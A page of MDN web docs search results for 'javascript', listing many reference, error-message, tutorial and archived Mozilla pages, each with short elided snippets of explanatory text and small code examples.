... use //# instead" occurs when there is a deprecated source map syntax in a javascript source.
...javascript execution won't be halted.
...And 3 more matches
SyntaxError: missing ; before statement - JavaScript
the javascript exception "missing ; before statement" occurs when there is a semicolon (;) missing somewhere and can't be added by automatic semicolon insertion (asi).
... you need to provide a semicolon, so that javascript can parse the source code correctly.
...javascript statements must be terminated with semicolons.
...And 3 more matches
JavaScript Client API - Archive of obsolete content
overview this page describes how to use the internal client-side sync javascript api.
... before starting before you start learning the javascript api, you should spend some time on http://docs.services.mozilla.com/ reading about how the sync service operates.
... api location the sync javascript client api is defined in files in the services/sync/ directory of mozilla-central or similar repository.
...And 2 more matches
New in JavaScript 1.5 - Archive of obsolete content
the following is a changelog for javascript 1.5.
...you can compare javascript 1.5 to jscript version 5.5 and internet explorer 5.5, which was released in july 2000.
... new features in javascript 1.5 number.prototype.toexponential() number.prototype.tofixed() number.prototype.toprecision() const is now a reserved word.
...And 2 more matches
Archived JavaScript Reference - Archive of obsolete content
obsolete javascript features and unmaintained docs arguments.callerthe obsolete arguments.caller property used to provide the function that invoked the currently executing function.
... this property has been removed and no longer works.array comprehensionsthe array comprehension syntax was a javascript expression which allowed you to quickly assemble a new array based on an existing one.
...it has been removed from firefox starting with version 58.generator comprehensionsthe generator comprehension syntax was a javascript expression which allowed you to quickly assemble a new generator function based on an existing iterable object.
...And 2 more matches
Server-Side JavaScript - Archive of obsolete content
the simplicity of using javascript on the server was part of netscape's original vision back in the day with netscape livewire.
...today with computing cycles having increased more than 10-fold and mozilla's work on rhino (javascript interpreter in java) and spidermonkey (javascript interpreter in c) and javascript itself, we have very solid foundations for javascript to be extraordinarily useful and applicable on the server-side again -- with performance in the same range as popular server-side environments like php and ruby on rails.
... now, with tracemonkey available, javascript (both client side and server-side) can see 20x to 40x speed improvements according to brendan eich, mozilla cto and creator of javascript.
...And 2 more matches
2D breakout game using pure JavaScript - Game development
next » in this step-by-step tutorial we create a simple mdn breakout game written entirely in pure javascript and rendered on html5 <canvas>.
... to get the most out of this series of articles you should already have basic to intermediate javascript knowledge.
... lesson details all the lessons — and the different versions of the mdn breakout game we are building together — are available on github: create the canvas and draw on it move the ball bounce off the walls paddle and keyboard controls game over build the brick field collision detection track the score and win mouse controls finishing up starting with pure javascript is the best way to get a solid knowledge of web game development.
...And 2 more matches
javascript.options.strict
javascript warnings are generated when code is executed that doesn't cause a run-time error, but is non-standard, poorly written, or prone to cause logic errors.
... this preference controls whether javascript warnings are logged to the javascript console.
... var name2= "peter"; document.getelementbyid("sample").innerhtml = name1; </script> </body> </html> possible values and their effects: true: show javascript errors and warnings.
...And 2 more matches
Loops and iteration - JavaScript
this chapter of the javascript guide introduces the different iteration statements available to javascript.
... the statements for loops provided in javascript are: for statement do...while statement while statement labeled statement break statement continue statement for...in statement for...of statement for statement a for loop repeats until a specified condition evaluates to false.
... the javascript for loop is similar to the java and c for loop.
...And 2 more matches
Text formatting - JavaScript
« previousnext » this chapter introduces how to work with strings and text in javascript.
... strings javascript's string type is used to represent textual data.
... const foo = new string('foo'); // creates a string object console.log(foo); // displays: [string: 'foo'] typeof foo; // returns 'object' you can call any of the methods of the string object on a string literal value—javascript automatically converts the string literal to a temporary string object, calls the method, then discards the temporary string object.
...And 2 more matches
JSON.parse() - JavaScript
the json.parse() method parses a json string, constructing the javascript value or object described by the string.
...var rx_three = /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[ee][+\-]?\d+)?/g; var rx_four = /(?:^|:|,)(?:\s*\[)+/g; var rx_dangerous = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g; json.parse = function(text, reviver) { // the parse method takes a text and an optional reviver function, and returns // a javascript value if the text is a valid json text.
...javascript handles many characters // incorrectly, either silently deleting them, or treating them as line endings.
...And 2 more matches
JSON.stringify() - JavaScript
the json.stringify() method converts a javascript object or value to a json string, optionally replacing values if a replacer function is specified or optionally including only the specified properties if a replacer array is specified.
... issue with plain json.stringify for use as javascript historically, json was not a completely strict subset of javascript.
...but they could not appear literally in similar context in javascript text, only using unicode escapes as \u2028 and \u2029.
...And 2 more matches
Number - JavaScript
the javascript number type is a double-precision 64-bit binary format ieee 754 value, like double in java or c#.
... a number literal like 37 in javascript code is a floating-point value, not an integer.
...(javascript now has a bigint type, but it was not designed to replace number for everyday uses.
...And 2 more matches
New in JavaScript 1.8.5 - Archive of obsolete content
the following is a changelog for javascript 1.8.5.
... new features in javascript 1.8.5 new functions function description object.create() creates a new object with the specified prototype object and properties.
... new objects object description old proxy api offers support for creating object and function proxies that enable meta-programming in javascript.
... changed functionality in javascript 1.8.5 iso 8601 support in date: the date object's parse() method now supports simple iso 8601 format date strings.
JavaScript-DOM Prototypes in Mozilla
prototype setup on an xpconnect wrapped dom node in mozilla when a dom node is accessed from javascript in mozilla, the native c++ dom node is wrapped using xpconnect and the wrapper is exposed to javascript as the javascript representation of the dom node.
... var obj = document.images[0]; here, obj will not really have any properties (except for the standard jsobject properties such as constructor, and the non-standard __parent__, __proto__, etc.), all the dom functionality of obj comes from obj's prototype (obj.__proto__) that xpconnect sets up when exposing the first image in document to javascript.
...to__ | htmlelement.prototype | |.__proto__ | element.prototype | |.__proto__ | node.prototype | |.__proto__ | object.prototype | |.__proto__ | null if you have an instance of a htmldivelement in javascript, the following will hold true: div.__proto__ === htmldivelement.prototype which means that the following should also be true: div.__proto__ === div.constructor.prototype non standard no browser is required to provide modifiable __proto__, nor a global node, nor provide any way to get at host objects nor their associated prototypes.
...creates a xpconnect javascript wrapper for a dom object), xpconnect will call the scriptable helper method nsdomclassinfo::postcreate() which will make sure the prototype chain of the wrapper jsobject is properly set up.
Building a Thunderbird extension 6: Adding JavaScript
in this step we will create a small piece of javascript code that inserts the current date into our statusbar widget.
...depending on the installed theme the result will look something like this: modify xul elements with javascript save the following javascript code into the content/ folder next to your myhelloworld.xul file and name it overlay.js.
...it then uses javascript's date class to get the current date, which it converts into a string that has the format of yyyy.mm.dd.
... further documentation more functions for the dom objects are listed on: dom/window (api reference for the window object) dom/document (api reference for the document object) gecko dom reference (overview of all dom objects in gecko) you may also find the javascript cheat sheet very useful.
Keyboard-navigable JavaScript widgets - Accessibility
overview web applications often use javascript to mimic desktop widgets such as menus, tree views, rich text fields, and tab panels.
...this document describes techniques to make javascript widgets accessible with the keyboard.
... the following table describes tabindex behavior in modern browsers: tabindex attribute focusable with mouse or javascript via element.focus() tab navigable not present follows the platform convention of the element (yes for form controls, links, etc.).
...once keyboard focus lands on the containing <ul> element, the javascript developer must programmatically manage focus and respond to arrow keys.
Concurrency model and the event loop - JavaScript
javascript has a concurrency model based on an event loop, which is responsible for executing the code, collecting and processing events, and executing queued sub-tasks.
...modern javascript engines implement and heavily optimize the described semantics.
... queue a javascript runtime uses a message queue, which is a list of messages to be processed.
... never blocking a very interesting property of the event loop model is that javascript, unlike a lot of other languages, never blocks.
Using Promises - JavaScript
guarantees unlike old-fashioned passed-in callbacks, a promise comes with some guarantees: callbacks will never be called before the completion of the current run of the javascript event loop.
... having them cluttering up your output—by adding a handler for the unhandledrejection event, like this: window.addeventlistener("unhandledrejection", event => { /* you might start here by adding code to examine the promise specified by event.promise and the reason in event.reason */ event.preventdefault(); }, false); by calling the event's preventdefault() method, you tell the javascript runtime not to do its default action when rejected promises go unhandled.
... we can start operations in parallel and wait for them all to finish like this: promise.all([func1(), func2(), func3()]) .then(([result1, result2, result3]) => { /* use result1, result2 and result3 */ }); sequential composition is possible using some clever javascript: [func1, func2, func3].reduce((p, f) => p.then(f), promise.resolve()) .then(result3 => { /* use result3 */ }); basically, we reduce an array of asynchronous functions down to a promise chain equivalent to: promise.resolve().then(func1).then(func2).then(func3); this can be made into a reusable compose function, which is common in functional programming: const applyasync = (acc,val) => acc.the...
...result3) */ timing to avoid surprises, functions passed to then() will never be called synchronously, even with an already-resolved promise: promise.resolve().then(() => console.log(2)); console.log(1); // 1, 2 instead of running immediately, the passed-in function is put on a microtask queue, which means it runs later when the queue is emptied at the end of the current run of the javascript event loop, i.e.
Deprecated and obsolete features - JavaScript
this page lists features of javascript that are deprecated (that is, still available but planned for removal) and obsolete (that is, no longer usable).
...…" obsolete features these obsolete features have been entirely removed from javascript and can no longer be used as of the indicated version of javascript.
... object.prototype.eval() evaluates a string of javascript code in the context of the specified object.
... sharp variables see sharp variables in javascript for more information.
SyntaxError: missing ) after argument list - JavaScript
the javascript exception "missing ) after argument list" occurs when there is an error with how a function is called.
... examples because there is no "+" operator to concatenate the string, javascript expects the argument for the log function to be just "pi: ".
... console.log('pi: ' math.pi); // syntaxerror: missing ) after argument list you can correct the log call by adding the "+" operator: console.log('pi: ' + math.pi); // "pi: 3.141592653589793" unterminated strings console.log('"java" + "script" = \"' + 'java' + 'script\"); // syntaxerror: missing ) after argument list here javascript thinks that you meant to have ); inside the string and ignores it, and it ends up not knowing that you meant the ); to end the function console.log.
... to fix this, we could put a' after the "script" string: console.log('"java" + "script" = \"' + 'java' + 'script\"'); // '"java" + "script" = "javascript"' ...
Date - JavaScript
javascript date objects represent a single moment in time in a platform-independent format.
... description the ecmascript epoch and timestamps a javascript date is fundamentally specified as the number of milliseconds that have elapsed since midnight on january 1, 1970, utc.
... examples several ways to create a date object the following examples show several ways to create javascript dates: note: parsing of date strings with the date constructor (and date.parse, they are equivalent) is strongly discouraged due to browser differences and inconsistencies.
... let date = new date(98, 1) // sun feb 01 1998 00:00:00 gmt+0000 (gmt) // deprecated method; 98 maps to 1998 here as well date.setyear(98) // sun feb 01 1998 00:00:00 gmt+0000 (gmt) date.setfullyear(98) // sat feb 01 0098 00:00:00 gmt+0000 (bst) calculating elapsed time the following examples show how to determine the elapsed time between two javascript dates in milliseconds.
Error - JavaScript
error types besides the generic error constructor, there are seven other core error constructors in javascript.
... internalerror creates an instance representing an error that occurs when an internal error in the javascript engine is thrown.
...you can handle the error using the try...catch construct: try { throw new error('whoops!') } catch (e) { console.error(e.name + ': ' + e.message) } handling a specific error you can choose to handle only specific error types by testing the error type with the error's constructor property or, if you're writing for modern javascript engines, instanceof keyword: try { foo.bar() } catch (e) { if (e instanceof evalerror) { console.error(e.name + ': ' + e.message) } else if (e instanceof rangeerror) { console.error(e.name + ': ' + e.message) } // ...
... see "what's a good way to extend error in javascript?" on stackoverflow for an in-depth discussion.
Object.prototype.valueOf() - JavaScript
description javascript calls the valueof method to convert an object to a primitive value.
... you rarely need to invoke the valueof method yourself; javascript automatically invokes it when encountering an object where a primitive value is expected.
...the following code assigns a user-defined function to the object's valueof method: mynumbertype.prototype.valueof = function() { return customprimitivevalue; }; with the preceding code in place, any time an object of type mynumbertype is used in a context where it is to be represented as a primitive value, javascript automatically calls the function defined in the preceding code.
... an object's valueof method is usually invoked by javascript, but you can invoke it yourself as follows: mynumbertype.valueof() note: objects in string contexts convert via the tostring() method, which is different from string objects converting to string primitives using valueof.
String - JavaScript
in javascript, you just use the less-than and greater-than operators: let a = 'a' let b = 'b' if (a < b) { // true console.log(a + ' is less than ' + b) } else if (a > b) { console.log(a + ' is greater than ' + b) } else { console.log(a + ' and ' + b + ' are equal.') } a similar result can be achieved using the localecompare() method inherited by string instances.
... string primitives and string objects note that javascript distinguishes between string objects and primitive string values.
...javascript automatically converts primitives to string objects, so that it's possible to use string object methods for primitive strings.
... in contexts where a method is to be invoked on a primitive string or a property lookup occurs, javascript will automatically wrap the string primitive and call the method or perform the property lookup.
WebAssembly.Table - JavaScript
the webassembly.table() object is a javascript wrapper object — an array-like structure representing a webassembly table, which stores function references.
... a table created by javascript or in webassembly code will be accessible and mutable from both javascript and webassembly.
... this example shows that we're creating and accessing the table from javascript, but the same table is visible and callable inside the wasm instance too.
... specifications specification webassembly javascript interfacethe definition of 'table' in that specification.
isNaN() - JavaScript
description the necessity of an isnan function unlike all other possible values in javascript, it is not possible to rely on the equality operators (== and ===) to determine whether a value is nan or not, because both nan == nan and nan === nan evaluate to false.
...this means that in javascript, isnan(x) == true is equivalent to x - 0 returning nan (though in javascript x - 0 == nan always returns false, so you can't test for it).
... actually, isnan(x), isnan(x - 0), isnan(number(x)), number.isnan(x - 0), and number.isnan(number(x)) always return the same and in javascript isnan(x) is just the shortest possible form to express each of these terms.
...this way you can have a function that makes use of the full versatility javascript provides by implicitly converting values depending on context.
Destructuring assignment - JavaScript
the destructuring assignment syntax is a javascript expression that makes it possible to unpack values from arrays, or properties from objects, into distinct variables.
... function parseprotocol(url) { const parsedurl = /^(\w+)\:\/\/([^\/]+)\/(.*)$/.exec(url); if (!parsedurl) { return false; } console.log(parsedurl); // ["https://developer.mozilla.org/web/javascript", "https", "developer.mozilla.org", "en-us/web/javascript"] const [, protocol, fullhost, fullpath] = parsedurl; return protocol; } console.log(parseprotocol('https://developer.mozilla.org/web/javascript')); // "https" object destructuring basic assignment const user = { id: 42, is_verified: true }; const {id, is_verified} = user; console.log(id); // 42 console.log(is_ver...
... nested object and array destructuring const metadata = { title: 'scratchpad', translations: [ { locale: 'de', localization_tags: [], last_edit: '2014-04-14t08:43:37', url: '/de/docs/tools/scratchpad', title: 'javascript-umgebung' } ], url: '/docs/tools/scratchpad' }; let { title: englishtitle, // rename translations: [ { title: localetitle, // rename }, ], } = metadata; console.log(englishtitle); // "scratchpad" console.log(localetitle); // "javascript-umgebung" for of iteration and destructuring const people = [ { name: 'mike smith', family: { mother: 'jane smit...
... let {a, b, ...rest} = {a: 10, b: 20, c: 30, d: 40} a; // 10 b; // 20 rest; // { c: 30, d: 40 } invalid javascript identifier as a property name destructuring can be used with property names that are not valid javascript identifiers by providing an alternative identifier that is valid.
Exponentiation (**) - JavaScript
in javascript, it is impossible to write an ambiguous exponentiation expression.
...// this is invalid in javascript, as the operation is ambiguous.
... -(2 ** 2); // -4 in javascript and the author's intention is unambiguous.
... note that some programming languages use the caret symbol ^ for exponentiation, but javascript uses that symbol for the bitwise logical xor operator.
with - JavaScript
description javascript looks up an unqualified name by searching a scope chain associated with the execution context of the script or function containing that unqualified name.
... ambiguity contra contra: the with statement makes it hard for a human reader or javascript compiler to decide whether an unqualified name will be found along the scope chain, and if so, in which object.
...so, in a javascript environment that supports ecmascript 2015, the values reference inside the with statement could resolve to [1,2,3].values.
...javascript assumes the math object for these references.
Trailing commas - JavaScript
trailing commas (sometimes called "final commas") can be useful when adding new elements, parameters, or properties to javascript code.
... javascript has allowed trailing commas in array literals since the beginning, and later added them to object literals (ecmascript 5) and most recently (ecmascript 2017) to function parameters.
... syntax , examples trailing commas in literals arrays javascript ignores trailing commas in arrays: var arr = [ 1, 2, 3, ]; arr; // [1, 2, 3] arr.length; // 3 if more than one trailing comma is used, an elision (or hole) is produced.
...as json is based on javascript's syntax prior to es5, trailing commas are not allowed in json.
Introduction to using XPath in JavaScript - XPath
this document describes the interface for using xpath in javascript internally, in extensions, and from websites.
... numbervalue stringvalue booleanvalue example the following uses the xpath expression count(//p) to obtain the number of <p> elements in an html document: var paragraphcount = document.evaluate( 'count(//p)', document, null, xpathresult.any_type, null ); alert( 'this document contains ' + paragraphcount.numbervalue + ' paragraph elements' ); although javascript allows us to convert the number to a string for display, the xpath interface will not automatically convert the numerical result if the stringvalue property is requested, so the following code will not work: var paragraphcount = document.evaluate('count(//p)', document, null, xpathresult.any_type, null ); alert( 'this document contains ' + paragraphcount.stringvalue + ' paragraph elements' ); ...
...none yet =====any_type example===== <pre> </pre> examples within an html document the following code is intended to be placed in any javascript fragment within or linked to the html document against which the xpath expression is to be evaluated.
...ir" /> <address street="10 downing street" city="london" country="uk"/> <phonenumber>020 7925 0918</phonenumber> </person> </people> to make the contents of the xml document available within the extension, we create an xmlhttprequest object to load the document synchronously, the variable xmldoc will contain the document as an xmldocument object against which we can use the evaluate method javascript used in the extensions xul/js documents.
JavaScript Debugger Service - Archive of obsolete content
in firefox versions prior to gecko 33 (firefox 33 / thunderbird 33 / seamonkey 2.30), the javascript debugger service (or simply jsd) used to be an xpcom component that allows the tracking of javascript while it was being executed in the browser.
...e } }; // triggered when jsd.errorhook[onerror] returns false jsd.debughook = { onexecute: function(frame, type, rv) { // your function here } }; jsd.enumeratescripts({ // the enumeratescript method will be called once for every script jsd knows about enumeratescript: function(script) { // your function here } }); a simple stack trace here, we will show how to implement a simple javascript stack trace using the jsd.
... learning more a quick and dirty introduction by lei venkman javascript debugger source code firebug service source code jsd architecture (old) ...
Drag and Drop JavaScript Wrapper - Archive of obsolete content
this section describes how to use the javascript wrapper for drag and drop.
... the javascript drag and drop wrapper the javascript wrapper to drag and drop simplifies the process by handling all of the xpcom interfaces for you.
...(in javascript, properties can be declared with the syntax name : value).
International characters in XUL JavaScript - Archive of obsolete content
gecko 1.8, as used in firefox 1.5 and other applications, added support for non-ascii characters in javascript files loaded from xul files.
... how the character encoding is determined in gecko 1.8 and later when the javascript file is loaded from a chrome:// url, a byte order mark (fixme: )(bom) is used to determine the character encoding of the script.
... if the script file is loaded via http, the http header can contain a character encoding declaration as part of the content-type header, for example: content-type: application/javascript; charset=utf-8 if no charset parameter is specified, the same rules as above apply.
New in JavaScript 1.6 - Archive of obsolete content
the following is a changelog for javascript 1.6.
... new features in javascript 1.6 support for ecmascript for xml (e4x) for creating and processing xml content within javascript has been added.
... array.prototype.indexof() array.prototype.lastindexof() array.prototype.every() array.prototype.filter() array.prototype.foreach() array.prototype.map() array.prototype.some() array generics string generics for each...in changed functionality in javascript 1.6 a bug in which arguments[n] cannot be set if n is greater than the number of formal or actual parameters has been fixed.
New in JavaScript 1.8.1 - Archive of obsolete content
the following is a changelog for javascript 1.8.1.
... javascript 1.8.1 is a modest update syntactically to javascript; the main change in this release is the addition of the tracemonkey just-in-time compiler, which improves performance.
... new features in javascript 1.8.1 object.getprototypeof() support for native json string.prototype.trim() string.prototype.trimleft() string.prototype.trimright() changed functionality in javascript 1.8.1 implicit setting of properties in object and array initializers no longer execute setters in javascript.
Describing microformats in JavaScript - Archive of obsolete content
microformats are described in javascript by using a standardized structure format that has several standard members that describe the object.
... mfobject the javascript object that implements the microformat.
... see also using microformats, parsing microformats in javascript ...
Parsing microformats in JavaScript - Archive of obsolete content
iso8601fromdate converts a javascript date object into an iso 8601 formatted date.
... isodate = microformats.parser.iso8601fromdate(date, punctuation) parameters date the javascript date object to convert.
... see also using microformats describing microformats in javascript ...
Test your skills: CSS and JavaScript accessibility - Learn web development
this aim of this skill test is to assess whether you've understood our css and javascript accessibility best practices article.
... javascript accessibility 1 in our final task here, you have some javascripting to do.
...we'd like you to add to the html and javascript to make it keyboard acessible too.
JavaScript Tips
for instance the offline observer declared above is a javascript object that is registered with an xpcom object, so that the call back from xpcom executes the javascript method.
...however, in javascript this is quite simple even in the case of a weak reference which in c++ requires a helper class: var weakobserver = { queryinterface: function queryinterface(aiid) { if (aiid.equals(components.interfaces.nsiobserver) || aiid.equals(components.interfaces.nsisupportsweakreference) || aiid.equals(components.interfaces.nsisupports)) return this; throw components.results.ns_nointerface; }, observe: function observe(asubject, atopic, astate) { } } when declaring xpcom methods, try to use the same names for method parameters as are used in the interface definition.
... references this was started as a reprint of neil's guide some more current info on this blog post how to remove duplicate objects from an array javascript ...
Creating JavaScript tests
see running automated javascript tests for details.
... please keep in mind that the javascript test suite is run on a wide variety of wildly varying hardware plaforms, from phones all the way up to servers.
... see running automated javascript tests for instructions on how to run jstests or jit-tests.
How to embed the JavaScript engine
a bare bones tutorial hello world sample embedding application the following code is a very simple application that shows how to embed spidermonkey and run a simple javascript script.
... run the helloworld executable at the command line: ./helloworld how to call c functions from javascript say the c function is named doit and it would like at least two actual parameters when called (if the caller supplies fewer, the js engine should ensure that undefined is passed for the missing ones): #define doit_minargs 2 // [spidermonkey 24] use jsbool instead of bool.
...and say: ok = js_definefunctions(cx, global, my_functions); how to call javascript functions from c first, create arguments for the call, here i create arguments with 2 items: // [spidermonkey 24] js::autovaluearray is not defined.
AudioContext.createJavaScriptNode() - Web APIs
the audiocontext.createjavascriptnode() method creates a javascriptnode which is used for directly manipulating audio data with javascript.
... syntax var jsnode = audioctx.createjavascriptnode(buffersize, numinputchannels, numoutputchannels); parameters buffersize the buffer size must be in units of sample frames, i.e., one of: 256, 512, 1024, 2048, 4096, 8192, or 16384.
... example the following script illustrates the use of createjavascriptnode(): var sinewave = function(context) { var that = this; this.x = 0; // initial sample number this.context = context; this.node = context.createjavascriptnode(1024, 1, 1); this.node.onaudioprocess = function(e) { that.process(e) }; } sinewave.prototype.process = function(e) { var data = e.outputbuffer.getchanneldata(0); for (var i = 0; i < data.length; ++i) { data[i] = math.sin(this.x++); } } sinewave.prototype.play = functi...
Iterators and generators - JavaScript
javascript provides a number of ways of iterating over a collection, from simple for loops to map() and filter().
... for details, see also: iteration_protocols for...of function* and generator yield and yield* iterators in javascript an iterator is an object which defines a sequence and potentially a return value upon its termination.
... the most common iterator in javascript is the array iterator, which simply returns each value in the associated array in sequence.
Meta programming - JavaScript
« previousnext » starting with ecmascript 2015, javascript gains support for the proxy and reflect objects allowing you to intercept and define custom behavior for fundamental language operations (e.g.
...with the help of these two objects you are able to program at the meta level of javascript.
...rn '[[' + name + ']]' } }) let proxy = revocable.proxy console.log(proxy.foo) // "[[foo]]" revocable.revoke() console.log(proxy.foo) // typeerror is thrown proxy.foo = 1 // typeerror again delete proxy.foo // still typeerror typeof proxy // "object", typeof doesn't trigger any trap reflection reflect is a built-in object that provides methods for interceptable javascript operations.
Warning: 08/09 is not a legal ECMA-262 octal constant - JavaScript
the javascript warning "08 (or 09) is not a legal ecma-262 octal constant" occurs when 08 or 09 number literals are used.
...javascript execution won't be halted.
...because this is not the case with 08 and 09, javascript warns about it.
SyntaxError: applying the 'delete' operator to an unqualified name is deprecated - JavaScript
the javascript strict mode-only exception "applying the 'delete' operator to an unqualified name is deprecated" occurs when variables are attempted to be deleted using the delete operator.
... normal variables in javascript can't be deleted using the delete operator.
... examples freeing the contents of a variable attempting to delete a plain variable, doesn't work in javascript and it throws an error in strict mode: 'use strict'; var x; // ...
SyntaxError: test for equality (==) mistyped as assignment (=)? - JavaScript
the javascript warning "test for equality (==) mistyped as assignment (=)?" occurs when there was an assignment (=) when you would normally expect a test for equality (==).
... error type (firefox only) syntaxerror warning which is reported only if javascript.options.strict preference is set to true.
...to help debugging, javascript (with strict warnings enabled) warns about this pattern.
SyntaxError: identifier starts immediately after numeric literal - JavaScript
the javascript exception "identifier starts immediately after numeric literal" occurs when an identifier started with a digit.
... a javascript identifier must start with a letter, underscore (_), or dollar sign ($).
... examples variable names starting with numeric literals variable names can't start with numbers in javascript.
TypeError: invalid assignment to const "x" - JavaScript
the javascript exception "invalid assignment to const" occurs when it was attempted to alter a constant value.
... javascript const declarations can't be re-assigned or redeclared.
...in javascript, constants are declared using the const keyword.
SyntaxError: missing ) after condition - JavaScript
the javascript exception "missing ) after condition" occurs when there is an error with how an if condition is written.
...in javascript, this condition must appear in parenthesis after the if keyword, like this: if (condition) { // do something if the condition is true } examples missing parenthesis it might just be an oversight, carefully check all you parenthesis in your code.
... if (3 > math.pi) { console.log("wait what?"); } misused is keyword if you are coming from another programming language, it is also easy to add keywords that don't mean the same or have no meaning at all in javascript.
InternalError: too much recursion - JavaScript
the javascript exception "too much recursion" or "maximum call stack size exceeded" occurs when there are too many function calls, or a function is missing a base case.
...when there are too many function calls, or a function is missing a base case, javascript will throw this error.
...p(x) { // the base case is missing loop(x + 1); // recursive call } loop(0); // internalerror: too much recursion class error: too much recursion class person{ constructor(){} set name(name){ this.name = name; // recursive call } } const tony = new person(); tony.name = "tonisha"; // internalerror: too much recursion when a value is assigned to the property name (this.name = name;) javascript needs to set that property.
SyntaxError: unterminated string literal - JavaScript
the javascript error "unterminated string literal" occurs when there is an unterminated string somewhere.
...javascript makes no distinction between single-quoted strings and double-quoted strings.
... examples multiple lines you can't split a string across multiple lines like this in javascript: var longstring = 'this is a very long string which needs to wrap across multiple lines because otherwise my code is unreadable.'; // syntaxerror: unterminated string literal instead, use the + operator, a backslash, or template literals.
Array() constructor - JavaScript
syntax [element0, element1, ..., elementn] new array(element0, element1[, ...[, elementn]]) new array(arraylength) parameters elementn a javascript array is initialized with the given elements, except in the case where a single argument is passed to the array constructor and that argument is a number (see the arraylength parameter below).
... note that this special case only applies to javascript arrays created with the array constructor, not array literals created with the bracket syntax.
... arraylength if the only argument passed to the array constructor is an integer between 0 and 232-1 (inclusive), this returns a new javascript array with its length property set to that number (note: this implies an array of arraylength empty slots, not slots with actual undefined values).
AsyncFunction - JavaScript
in javascript, every asynchronous function is actually an asyncfunction object.
...each must be a string that corresponds to a valid javascript identifier or a list of such strings separated with a comma; for example "x", "thevalue", or "a,b".
... functionbody a string containing the javascript statements comprising the function definition.
Function() constructor - JavaScript
each must be a string that corresponds to a valid javascript identifier, or a list of such strings separated with a comma.
... functionbody a string containing the javascript statements comprising the function definition.
... // example can be run directly in your javascript console // create a function that takes two arguments, and returns the sum of those arguments const adder = new function('a', 'b', 'return a + b'); // call the function adder(2, 6); // 8 the arguments "a" and "b" are formal argument names that are used in the function body, "return a + b".
Function.prototype.bind() - JavaScript
a common mistake for new javascript programmers is to extract a method from an object, then to later call that function and expect it to use the original object as its this (e.g., by using the method in callback-based code).
...second latebloomer.prototype.bloom = function() { window.settimeout(this.declare.bind(this), 1000); }; latebloomer.prototype.declare = function() { console.log(`i am a beautiful flower with ${this.petalcount} petals!`); }; const flower = new latebloomer(); flower.bloom(); // after 1 second, calls 'flower.declare()' bound functions used as constructors warning: this section demonstrates javascript capabilities and documents some edge cases of the bind() method.
... // example can be run directly in your javascript console // ...continued from above // can still be called as a normal function // (although usually this is undesired) yaxispoint(13); `${emptyobj.x},${emptyobj.y}`; // > '0,13' if you wish to support the use of a bound function only using new, or only by calling it, the target function must enforce that restriction.
GeneratorFunction - JavaScript
in javascript, every generator function is actually a generatorfunction object.
...each must be a string that corresponds to a valid javascript identifier or a list of such strings separated with a comma; for example "x", "thevalue", or "a,b".
... functionbody a string containing the javascript statements comprising the function definition.
Math.imul() - JavaScript
if you use normal javascript floating point numbers in imul, you will experience a degrade in performance.
...asmjs allows for jist-optimizers to more easily implement internal integers in javascript.
...) & 0xffff; var blo = b & 0xffff; // the shift by 0 fixes the sign on the high part // the final |0 converts the unsigned value into a signed value return ((alo * blo) + (((ahi * blo + alo * bhi) << 16) >>> 0) | 0); }; however, the following function is more performant because it is likely that browsers in which this polyfill would be used do not optimize with an internal integer type in javascript, instead using floating points for all numbers.
Math - JavaScript
constants are defined with the full precision of real numbers in javascript.
...even the same javascript engine on a different os or architecture can give different results!
... in javascript, we can do this with the following: 50 * math.tan(degtorad(60)).
Object.prototype.toString() - JavaScript
the following code illustrates this: const o = new object(); o.tostring(); // returns [object object] note: starting in javascript 1.8.5, tostring() called on null returns [object null], and undefined returns [object undefined], as defined in the 5th edition of ecmascript and subsequent errata.
...g.prototype.tostring = function dogtostring() { const ret = 'dog ' + this.name + ' is a ' + this.sex + ' ' + this.color + ' ' + this.breed; return ret; } or, using es6 template strings: dog.prototype.tostring = function dogtostring() { return `dog ${this.name} is a ${this.sex} ${this.color} ${this.breed}`; } with the preceding code in place, any time thedog is used in a string context, javascript automatically calls the dogtostring() function, which returns the following string: "dog gabby is a female chocolate lab" using tostring() to detect object class tostring() can be used with every object and (by default) allows you to get its class.
... const tostring = object.prototype.tostring; tostring.call(new date); // [object date] tostring.call(new string); // [object string] tostring.call(math); // [object math] // since javascript 1.8.5 tostring.call(undefined); // [object undefined] tostring.call(null); // [object null] using tostring() in this way is unreliable; objects can change the behavior of object.prototype.tostring() by defining a symbol.tostringtag property, leading to unexpected results.
Object - JavaScript
the object class represents one of javascript's data types.
... description nearly all objects in javascript are instances of object; a typical object inherits properties (including methods) from object.prototype, although these properties may be shadowed (a.k.a.
... return current.apply(this, arguments); } } since javascript doesn't exactly have sub-class objects, prototype is a useful workaround to make a “base class” object of certain functions that act as objects.
String.raw() - JavaScript
the first syntax mentioned above is only rarely used, because the javascript engine will call this with proper arguments for you, (just like with other tag functions).
... you can even re-implement it with normal javascript code.
... // normally you would not call string.raw() as a function, // but to simulate `foo${2 + 3}bar${'java' + 'script'}baz` you can do: string.raw({ raw: ['foo', 'bar', 'baz'] }, 2 + 3, 'java' + 'script'); // 'foo5barjavascriptbaz' // notice the first argument is an object with a 'raw' property, // whose value is an iterable representing the separated strings // in the template literal.
WebAssembly.Instance.prototype.exports - JavaScript
the exports readonly property of the webassembly.instance object prototype returns an object containing as its members all the functions exported from the webassembly module instance, to allow them to be accessed and used by javascript.
... instance.exports examples using exports after fetching some webassembly bytecode using fetch, we compile and instantiate the module using the webassembly.instantiatestreaming() function, importing a javascript function into the webassembly module in the process.
... specifications specification webassembly javascript interfacethe definition of 'webassembly.instance: exports' in that specification.
WebAssembly.Instance - JavaScript
instance objects contain all the exported webassembly functions that allow calling into webassembly code from javascript.
... instance properties instance.prototype.exports returns an object containing as its members all the functions exported from the webassembly module instance, to allow them to be accessed and used by javascript.
... specifications specification webassembly javascript interfacethe definition of 'instance' in that specification.
WebAssembly.Memory() constructor - JavaScript
a memory created by javascript or in webassembly code will be accessible and mutable from both javascript and webassembly.
...the first way is to construct it from javascript.
... specifications specification webassembly javascript interfacethe definition of 'memory' in that specification.
WebAssembly.Memory - JavaScript
a memory created by javascript or in webassembly code will be accessible and mutable from both javascript and webassembly.
...the first way is to construct it from javascript.
... specifications specification webassembly javascript interfacethe definition of 'memory' in that specification.
WebAssembly.Table.prototype.set() - JavaScript
this must be an exported webassembly function, a javascript wrapper for an underlying wasm function.
... this example shows that we're creating and accessing the table from javascript, but the same table is visible and callable inside the wasm instance too.
... specifications specification webassembly javascript interfacethe definition of 'set()' in that specification.
